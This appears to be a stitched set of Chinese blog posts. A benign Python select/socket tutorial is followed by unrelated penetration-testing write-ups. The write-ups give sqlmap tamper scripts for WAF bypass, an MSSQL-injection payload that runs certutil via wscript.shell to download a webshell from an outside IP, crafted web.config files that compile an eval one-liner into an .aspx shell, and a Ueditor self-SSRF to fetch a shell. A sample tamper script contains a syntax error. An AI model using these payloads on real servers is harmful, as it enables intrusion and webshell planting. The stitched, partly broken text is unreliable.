在学习和了解这个模块之前,先要搞清楚几个概念:阻塞IO 非阻塞IO 和多路复用IO

阻塞IO

当有数据传入传出的时候,接收方必须一直等到接收到数据才能进入到下一步的操作。在接收数据之前,会一直进行等待,这时候是一个阻塞的状态。在socket模块默认的情况下实现的server端 就是一个阻塞IO的例子

非阻塞IO

与阻塞IO相对,在接收方等待数据的时候,如果发送方没有发送数据,接收方也可以进行后面的操作,等待对方将数据发送过来再执行之前的操作。具体实现在等待数据的时候,先执行后面的程序,按照一定的时间,反复的去查看,对方是否已经发送了数据。

通过socket模块 也可以实现server和client 非阻塞IO的例子:

server端 代码:


import time
import socket

sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.bind(('127.0.0.1',6666))
sk.listen(5)
sk.setblocking(False) #开启非阻塞状态
print("Waiting for lient connecting ...")

while True:
    try:
        conn,addr = sk.accept() # 进入主动轮询
        print("+++",addr)
        client_message = conn.recv(1024)
        print(client_message.decode())
        conn.close()
    except Exception as e: #当没有连接过来时 执行如下操作
        print(e)
        time.sleep(4)

执行效果如下,当没有连接过来时,进入except语句 打印异常信息

42214856.png

在终端下,利用nc发送数据,并server接收并打印 达到一个非阻塞IO的效果

42234873.png

多路复用IO

在学习select模块前,还需要清楚多路复用IO的概念
IO多路复用 是IO模式的一种,是一种单线程处理多并发IO操作的方案。IO多路复用,其实就是常说的 selectpollepoll
它的基本原理就是 这三个function会不断的轮询所负责的所有socket,当某个socket有数据到达了,就通知用户进程

select会轮询检测所有的连接或者IO,其理论所使用的就是 “事件驱动模型” 这一范式

关于select和poll 的先要更深入的理解,可以参考阅读文章:https://www.jianshu.com/p/397449cadc9a

select模块

select是IO多路复用的一种实现方式,利用select模块来实现非阻塞IO,可通过单线程的方式实现多用户同时访问服务端。
select模块采用水平触发(只要有客户端连接就触发) 来检测server端是否有客户端连入

示例1:


import socket
import select

sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sk.bind(('127.0.0.1',6666))
sk.listen(5)
inp = [sk,]

while True:
    #select 作为监听器(水平触发),来检测是否有客户端来访问
    #每隔3秒执行一次查看,若没有连接 r为空值
    r,w,e = select.select(inp,[],[],3) #(input,output,errorput,time)

    for i in r:
        conn,addr = i.accept()
        print(conn)
        print('hello')
    print('>>>>>>')

当有客户端连接时,打印conn 和 'hello'

47998239.png

示例2:

Server代码:


import socket
import select

sk1 = socket.socket()
sk1.bind(('0.0.0.0',8001))
sk1.listen()

sk2 = socket.socket()
sk2.bind(('0.0.0.0',8002))
sk2.listen()

sk3 = socket.socket()
sk3.bind(('0.0.0.0',8003))
sk3.listen()

inputs = [sk1,sk2,sk3,]

while True:
    r_list,w_list,e_list = select.select(inputs,[],inputs,1)
    for sk in r_list:
        conn,addr = sk.accept()
        conn.sendall('hello'.encode())
        conn.close()

    for sk in e_list:
        inputs.remove(sk)

上面代码表示:select内部会自动监听sk1,sk2,sk3三个对象。监听三个句柄是否发生变化,并将发生变化的元素放入r_list中。若有客户端连接sk2,sk3 则r_list= [sk2,sk3]

client代码:


import socket

obj2 = socket.socket()
obj3 = socket.socket()
obj2.connect(('127.0.0.1', 8002))
obj3.connect(('127.0.0.1', 8003))

content = str(obj2.recv(1024), encoding='utf-8')
print("obj2:"+content)
content = str(obj3.recv(1024), encoding='utf-8')
print("obj3:"+content)

obj2.close()
obj3.close()

客户端发起了两个socket连接,分别对应sk2和sk3

49914684.png

接收返回并打印结果.

49937048.png

参考

Python select模块简单使用

0x00 前言

记录下tamper脚本编写的学习过程

0x01 Tamper的作用

在检测和利用注入的过程中,往往会遇到WAF/IPS等防御设备对发送的Payload进行拦截。Sqlmap本身已经自带了很多用以绕过WAF的脚本,可以通过--tamper=脚本名称 的方式,来使用。
但是不同厂商的WAF 会对应不同的防御规则,已有的tamper脚本虽然可以支持大多数的场景,但有些奇葩的环境下 可能也会略显不足。
所以,作为渗透人员需要先针对WAF的拦截规律进行手工探测,然后结合具体SQL版本的功能语法特性,来进行绕过。

当探测到绕过方式后,也可以手工注入进行攻击但极其耗费时间。由此,可以通过编写相应的tamper 配合sqlmap来使用

0x02 Tamper的简单结构

自带的所有tamper脚本位于 sqlmap目录的tamper子目录中.
先来cat 一个unionalltounion.py脚本,查看其书写格式:

60535243.png

这个脚本的作用,是将"UNION ALL SELECT" 替换为"UNION SELECT"

也可以看到tamper脚本主要格式:

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本的调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
    pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
    return payload

tamper函数起到主要的作用,是将原始的payload进行加工,返回可以绕过防御规则的payload
要完成一个tamper的编写,只需要手工探测出绕过的规则,并可以使用Python编写代码,来完成操作字符串的过程
另外注意,tamper函数的两个参数:payload和**kwargs 无需关心如何传入,因为sqlmap会自动传值

了解这些基础知识,就可以编写简单的tamper脚本了

0x03 Tamper编写

一个最简单的tamper,将 空格 替换为 /**/

#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
    pass

def tamper(payload, **kwargs): 
    payload = payload.replace(' ','/**/'))
    return payload

可以通过sqlmap -v 3 实时查看payload内容

77323686.png

另外,可以修改kwargs参数来修改请求头内容

kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent

实现更复杂的tamper需要更深入的了解正则Http协议及Python相关的基础

0x04 参考文章

如何编写Sqlmap的Tamper脚本?

0x00 Certutil介绍

Casey Smith‏ @subTee曾经在twitter介绍了了关于certutil的一些利用技巧。其中,本人渗透过程中最为常用的一条命令:

certutil -urlcache -split -f http://远程ip/test.php 

通过这条命令可以迅速有效的向目标主机当前目录,下载我们想要传输的文件。
同时也可以通过certutil来向指定的路径传输文件,也是屡试不爽:

certutil -urlcache -split -f http://远程ip/test.php D:\网站目录\test.php

当目标主机可以访问外网的情况下,哪怕目前操控权限较低,基本也可以通过此条命令成功实现文件下载。

更加具体的内容可以参考Casey Smith‏的《渗透测试中的certutil》和微软官方的说明,网上也有相应的文章,这里就不多介绍了。

0x01 MSSQL介绍

这里,MSSQL也就是SQL-SERVER。 微软研发的数据库管理系统。大都是运行在Win系列的平台上(不过最近SQLSERVER 2017支持了linux平台)。

有关很多SQLSERVER的sql注入在网上安全资料中都可以见到。 尤其是xp_cmdshell存储过程,当数据库用户没有被降权处理时,攻击者可以利用它来对数据库所在的主机实现任何的操作。

SQL-SERVER的常规GetShell思路如下:

1.确认当前的数据库用户权限为sysadmin
2.直接备份数据/调用可以命令执行的存储过程,如Xp_cmdshell等
3.若用户非sa权限则考虑差异备份 Log备份等
...

网上有前辈对很多MSSQL注入的思路和Payload进行过总结,具体可以Google:Mssql手注

0x02 运用Certutil来Getshell

先介绍实战场景及条件,是这样的:

  • 渗透前期已通过nmap对目标ip进行了全端口扫描,有用的端口只有8088
  • 服务器IIS7 脚本语言:asp。能够登陆管理系统,仅有查询功能。
  • 网站还存在目录遍历及IIS短文件名泄露,但无法直接利用。
  • 查询存在SQL注入,数据库为MS 2008R2
  • 得知注入权限为sysadmin

当初看到sa权限,本以为这样就万事大吉 直接拿Shell
但却很快出了问题

注入点类型情况如下:

先用判断是否存在站库分离

select @@servername;
select host_name();

确定数据库和web在同一服务器

3593956.png

然后SQLmap中直接执行 --os-shell 服务器无响应,连接中断...执行 --os-cmd "whoami" 无响应中断...
又确认一遍是sa权限后,进入--sql-shell操作

select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

可以确认存储过程没有被删除,然后尝试

exec master..xp_cmdshell 'dir'

3628723.png

失败,无响应中断。又运行了其他的存储过程,蛮正常。 看来是在xp_cmdshell执行过程进行了拦截。 另外通过xp_dirtree将web站点存在的目录读了出来,并在web的根目录下通过xp_create_subdir成功创建了子目录test。

3775447.png

仅剩一步,将shell写入或者下载到web目录中即可。
但却卡在这个问题,而且卡了近两天。能够执行cmd的三种方式都尝试了,程序执行过程被拦截。尝试直接备份和差异备份,也都没能成功。感觉像是08和之前版本的备份语句存在差异,总之没备份成功,哪天仔细研究一下。

又静下心思索一阵后,终于解决了这个问题。
思路如下,既然主机对数据库调用的cmd.exe进行了行为拦截,那么可以尝试运用其他的程序执行进行绕过,并利用指定程序的一些功能来实现对文件的操控并执行 来获取shell。

于是先想到测试以下ping命令,payload如下:

declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\ping.exe hehe.t00ls.xxxxxxxxxxxxxxxxxxxxxxxxxxxx.tu4.org'

指定ping程序并通过DNSlog来测试主机是否可以执行成功且能访问外网。

3972290.png

sql-shell中执行没有发生中断,说明主机没有进行操作拦截,然后在DNSlog的日志中可以看到,目标服务器能够访问外网

4036407.png

既然Ping可以成功执行,那么Certutil.exe是否也可以成功执行,试一下吧
payload:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\certutil.exe -urlcache -split -f http://外网ip/test.asp d:\网站的目录\test\1.asp'

访问下创建的test目录

4182224.png

成功执行,没有执行常规的系统命令也没有通过文件备份,通过Certutil程序绕过了主机对操作行为的拦截,远程下载了webshell。

5126240.png

0x03 思考与总结

  1. MSSQL注入可玩性太高,其中有很多很神奇的存储过程,且对应了不同的权限,往后要多了解
  2. 思路要广一点,切记局限。不能通过常规方法执行cmd就换个思路,柳暗花明又一村啊
  3. 网上很多中文资料只试用低版本,如今高版本的数据库为主流,很多语句变得不太实用。有时间 自己测试整理下高版本的
  4. 工欲善其事必先利其器,SQLmap还是要多玩玩...

[2018/3/14] written by Len9f4n.

0x00 前言

IIS服务器 在上传过程中,若可以自定义保存后的文件名,是可以改变配置规则来使得任意后缀的文件以asp脚本的方式来获取shell。在大多数实战中,.net站点也会默认支持asp的运行。

之前在挖掘某CMS漏洞过程中,发现某处上传存在黑名单校验(ashx/aspx/asmx/asp/asa等)不过可以上传config文件和部分自定义后缀。上传后的路径为程序的一个子目录。可利用如下web.config绕过来解析执行asp程序,颇具一定的通杀效果。(前提条件是服务器的虚拟目录中运行使用ISAPI模块)

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <directoryBrowse enabled="true" />
        <handlers>
            <add name="asdx" path="*.asdx" verb="GET,HEAD,POST,DEBUG" 
            modules="IsapiModule"                        
            scriptProcessor="%windir%\System32\inetsrv\asp.dll"
            resourceType="Unspecified" 
            requireAccess="Script" />
        </handlers>
    </system.webServer>
</configuration>

但也发现存在少数的情况,服务器默认不支持asp的执行,当时因为时间关系就放弃了

最近再次遇到了这样的场景,正好有时间来思考和解决

0x01 相关知识

攻击的方式简单来说很简单:既然无法解析asp,还是要通过写入aspx木马的方式来拿到权限。

虽然程序本身无法绕过,但既然运行*.config文件的写入,我们可以通过掌握使用其规则来达到的想要目的。
查阅了一些资料后,发现某外国安全研究者的一篇文章 https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/

该文章介绍了使用web.config文件的多种攻击姿势,其中“compilerOptions”相关介绍似乎提供了一些办法

通过web.config文件中的compilers标签可以修改编译设置,如:我们可以定义编译语言的类型 并可以匹配某些指定的后缀来进行编译。
compiler的元素,可以支持三种默认类型:C# VB.NETJscript.NET.当指定为某个类型后,在编译时会该类型对应的编译程序。如指定类型为C#时,编译会调用 csc.exe

当定义如下规则时,会对语言为C#代码的.cs的文件进行编译处理。利用csc.exe 进行编译

...
<compilers>
    <compiler language="c#"
        extension=".cs"
        type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        warningLevel="4" 
        compilerOptions=''/>
</compilers>
...

利用csc.exe编译时,可通过参数指定编译前的源文件位置,和编译后要存放的 路径及文件名称
另外,还有最重要一点,上述配置中的compilerOptions属性,可以将其值 作为参数来引入到编译器命令中。

0x02 攻击过程

了解了上述基础后,问题就迎刃而解了。
看下可控点:由于web.config内容是完全可控的,故 编译后缀,使用的编译程序,(恶意)源文件 乃至要编译后保存的路径名称 我们都可以进行控制。

如下记录下我本地环境的测试过程:

上传web.config

内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <httpRuntime targetFramework="4.67.1"/>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
            <compilers>
                <compiler language="c#"
                    extension=".cs;.config"
                    type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    warningLevel="4" 
                    compilerOptions=""/>
            </compilers>
        </compilation>
     <customErrors mode="Off" />
    </system.web>
    <system.webServer>
        <handlers>
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="123_config" path="123.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
 </handlers>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

注意,这里将 .config后缀也增加到了编译的后缀名单中。然后定义了一个123.config 作为handler。
并且开始了显错模式,<customErrors mode="Off" />。开启显错可到获取绝对路径信息,也方便解决问题。

访问后效果如下,获取到真实路径 c:\testweb\abc\

62377027.png

另外这里之所以报错,是因为 "web.config"文件本身 在访问过程中 也被进行编译处理了,但内容又是xml格式 不符合编译的语法规则,故显示了如上的错误。这里完全不影响后续的过程

上传"源文件"

这个源文件中含有 恶意代码,如一句话shell。
我使用的代码如下,网上随便复制的代码。符合C#的语法规则即可:

using System;

namespace Wrox.ProCSharp.Basics
{
 class MyFirstCSharpClass
 {
  static void Main()
  {
//<%@ Page Language="Jscript"%><%eval(Request.Item["test666"],"unsafe");%>
   Console.WriteLine("Hello World!");
   Console.ReadLine();
   return;
  }
 }
}

这里我之所以将一句话代码放在注释里,也是因为观察了解析后文件内容的结果。(放至注释中对编译前后两者均没什么影响。)
另外,这里要记下我们上传后的路径为 c:\testweb\xxoo.txt

修改web.config

解析来要修改下compilerOptions的值,传入我们的“源文件”路径,以及要保存的shell地址。
修改如下设置,并再次上传保存 web.config

compilerOptions="/resource:c:\testweb\xxoo.txt /out:c:\testweb\xxx.aspx"

接下来,就是想办法让 编译器及传入的参数正确的 执行了。直接访问web.config还是会报错,因为内容不规范。
还记得上面 定义了一个 "123.config"么,我们可以利用它来正确的“编译”shell

利用帮手

这里,我上传了一个内容为空的文件,并保存为123.config
这里内容为空 毫无影响,不仅不会引起报错 反倒会正确执行编译的过程。

上传后访问下123.config,编译成功。效果如下

63370225.png

获取shell

至此就完成了所有的步骤,访问下指定路径下的shell。
一句话成功解析,菜刀图略

63502138.png

0x03 后记

该姿势适用于场景:

  • 基于黑名单的上传,限制了aspx/ashx/asmx等后缀的写入
  • 可控的*.config被上传至某个程序子目录(虚拟目录)
  • IIS不支持ISAPI 和Razor,无法解析执行asp,cshtml等后缀

然后,有时间要系统了解下web.config 配置。

0x04 补充

在虚拟目录下,无法直接利用web.config来指定自定义后缀文件按照aspx来解析。
当利用上述姿势上传至某个upload目录或子目录中,且该层web.config中定义了静态后缀时,直接访问aspx或ashx会被下载。
可传入如下内容,覆盖上层规则达到解析效果:

<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
     <add name="xxx_aspx" path="xxx.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="xxx_aspx-Classic" path="xxx.aspx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
    </system.webServer>
    <system.web>
        <httpHandlers>
     <add path="xxx.aspx" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
        </compilation>
        <customErrors mode="Off" />
    </system.web>
</configuration>

IIS服务器有自己的保护机制,buildProviders中绑定的后缀,只能由应用程序的根路径的web.config来定义。

0x01 前言

关于.NET 版本的Ueditor漏洞,想必本行的从业人员都不陌生。
当ueditor/net/Controller.ashx存在的情况下,利用远程下载来拿shell,屡试不爽。且在HW类比赛项目中,结合google hacking语法,也可用来快速打点。

但倘若遇到一些特殊情况,例如HTTP请求不出网,导致无法远程下载自己VPS上的shell时,是否就无计可施呢
答案当然是否定的

0x02 正文

好吧,不废话。直接上场景:
利用目录遍历,发现了某站点存在Ueditor目录,且为存在.net漏洞的版本

先远程GET一波,结果发现 下载失败,服务端 返回了 500错误。

78597800.png

根据以往经验,推测此处可能是HTTP请求失败,无法建立连接导致的。
进一步验证 https://www.baidu.com/img/bd_logo1.png 同样的返回

很僵,对不对?

但其实并没有关系,DNSLog试下
当然服务端同样是500状态码,且也没那么重要

78925726.png

查看dnslog监听结果,发现了惊喜:DNS的请求是可以 突破隔离网络的

79119634.png

这说明了问题:

  • 1.目标网络中是有相应的DNS服务器的
  • 2.拿到入口后 可以利用DNS隧道 让主机上线

当然主机上线是后话,先看如何才能打下入口。

简单思考了下,既然无法外网来下载webshell,那能否通过此处请求来ssrf内网站点或者127.0.0.1来getshell呢
首先这里能否SSRF还不确定,我知道php某版本的有 而.Net不熟。。逃

当然,我也没直接尝试127.0.0.1,原因如下:
外网的端口很可能是随机转发出来的,对应在真实主机上开放的端口号,无法直接确定。另外一点,即使确定了端口号,可能也会面临着目录的问题。

想到这里,又考虑到有DNS,便想到可否利用 请求自身url,来进行shell的下载

先尝试下,利用目录遍历 找到个图片路径

79971954.png

设置souce参数为自身域名下的某个图片,发送请求。
返回 SUCCESS!!!

80170443.png

至此,一切都趋于明朗了。
拿shell的方式其实就简单的拆分为两个步骤:

  • 上传包含shell代码的 正常图片
  • 利用catchimage 漏洞,再次下载至自身服务器,改为aspx格式

上传过程略,因为正常网民都会
直接利用DNS解析问题导致的SSRF,来日自己 下载shell

uuu.png

菜刀图略,打完收工。
后来操作就是DNS隧道让主机上线了

80739321.png

0x03 总结

文中技巧其实并无特别之处,但是这里想表述的是(也是最近的一点感悟)
很多时候我们熟悉了针对某些问题的解决方式,这些方式也可以称之为经验。经验固然是好的,就像捷径。可以很快速的给予我们问题的答案。但另一方面讲,它又像牢笼,将我们的思维限制在习惯舒适的范围中。
渗透是艺术活,需要我们投入耐心 精力,但更需要 精致和灵感。

遇到问题时,多思考,解决了 便是进步。